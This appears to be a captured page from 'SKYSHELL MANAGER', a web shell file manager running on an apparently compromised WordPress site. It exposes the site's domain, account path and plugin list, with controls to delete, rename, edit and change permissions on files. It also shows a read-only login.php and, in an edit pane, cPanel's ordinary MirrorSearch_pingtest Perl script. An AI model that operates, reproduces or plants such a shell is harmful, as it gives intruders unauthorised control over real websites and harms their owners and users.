📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
2245.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: MirrorSearch_pingtest
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/MirrorSearch_pingtest Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use Cpanel::PingTest (); alarm(1000); $| = 1; my $homedir = ( getpwuid($>) )[7]; die if !@ARGV; my ( $key, $days, $mirrorlist, $port ) = @ARGV; my $my_mtime = ( stat('/usr/local/cpanel/scripts/MirrorSearch_pingtest') )[9]; $key =~ s/\///g; $key =~ s/\.\.//g; die 'You must provide a key to store the results.' if length($key) < 4; die 'You must provide a mirror list or fd to read the mirrors from.' if length($mirrorlist) < 1; die 'You must provide a ttl in days' if length($days) < 1; if ( !-e "$homedir/.MirrorSearch" ) { mkdir( "$homedir/.MirrorSearch", 0700 ); } if ( !-e "$homedir/.MirrorSearch/${key}" ) { mkdir( "$homedir/.MirrorSearch/${key}", 0700 ); } if ( !-e "$homedir/.MirrorSearch/${key}/pingtimes" ) { mkdir( "$homedir/.MirrorSearch/${key}/pingtimes", 0700 ); } my $openok = 0; if ( $mirrorlist =~ /^\d+$/ ) { $openok = open( MIRRORS, "<&=$mirrorlist" ) ? 1 : 0; } else { $openok = open( MIRRORS, '<', $mirrorlist ) ? 1 : 0; } my @HOSTS; if ($openok) { while (<MIRRORS>) { if (/^(\S+)/) { $1 =~ /([^\:]+):\/\/([^\/]+)(\S+)/; push @HOSTS, $2; } } close(MIRRORS); } my $now = time(); my $child = 0; my $host_ping_ttl = ( 86400 * $days ); my @HOST_LIST; foreach my $host (@HOSTS) { my $host_mtime = ( stat("$homedir/.MirrorSearch/${key}/pingtimes/${host}") )[9]; next if ( $host_mtime > $my_mtime && ( $host_mtime + $host_ping_ttl ) > $now ); push @HOST_LIST, $host; } if (@HOST_LIST) { my $rPINGTIMES = Cpanel::PingTest::pinghosts( \@HOST_LIST, $port ); foreach my $host (@HOSTS) { if ( !exists $rPINGTIMES->{$host} ) { next; } if ( open my $pingtime_fh, '>', "$homedir/.MirrorSearch/${key}/pingtimes/${host}" ) { print {$pingtime_fh} $rPINGTIMES->{$host}; close $pingtime_fh; } else { warn "Unable to write $homedir/.MirrorSearch/${key}/pingtimes/${host}: $!"; } } }
Save